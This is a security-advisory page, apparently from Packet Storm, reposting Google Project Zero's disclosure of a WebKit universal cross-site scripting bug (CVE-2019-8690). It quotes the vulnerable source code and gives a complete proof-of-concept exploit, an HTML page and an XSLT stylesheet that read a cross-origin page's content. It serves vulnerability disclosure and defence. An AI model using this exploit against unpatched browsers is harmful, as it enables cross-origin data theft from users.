what you don't know can hurt you

WebKit Universal Cross Site Scripting

WebKit Universal Cross Site Scripting
Posted Aug 12, 2019
Authored by Google Security Research, Glazvunov

WebKit suffers from a universal cross site scripting vulnerability via XSLT and nested document replacements.

tags | exploit, xss
advisories | CVE-2019-8690
MD5 | edfa91e3d768c7c1251900b4554b74ee

WebKit Universal Cross Site Scripting

Change Mirror Download
WebKit: UXSS via XSLT and nested document replacements 

Related CVE Numbers: CVE-2019-8690Id-714702681.


VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;

RefPtr<Document> result;
if (sourceMIMEType == \"text/plain\") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());

// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}

auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));

result->setContent(documentSource);
```

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);

if (m_documentIsBeingReplaced) // ***1***
return;

m_documentIsBeingReplaced = true;

[...]

if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***

m_doc = newDocument.copyRef();
```

`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.

When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.

VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).

REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));

pi = document.createProcessingInstruction('xml-stylesheet',
'type=\"text/xml\" href=\"stylesheet.xml\"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);

setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:\"\"';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }

child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();

doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));

doc.close();
}
}

victim_frame.src = 'javascript:\"\"';

if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>

```

stylesheet.xml:
```
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">
<xsl:template match=\"/\">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.


Found by: glazunov@google.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close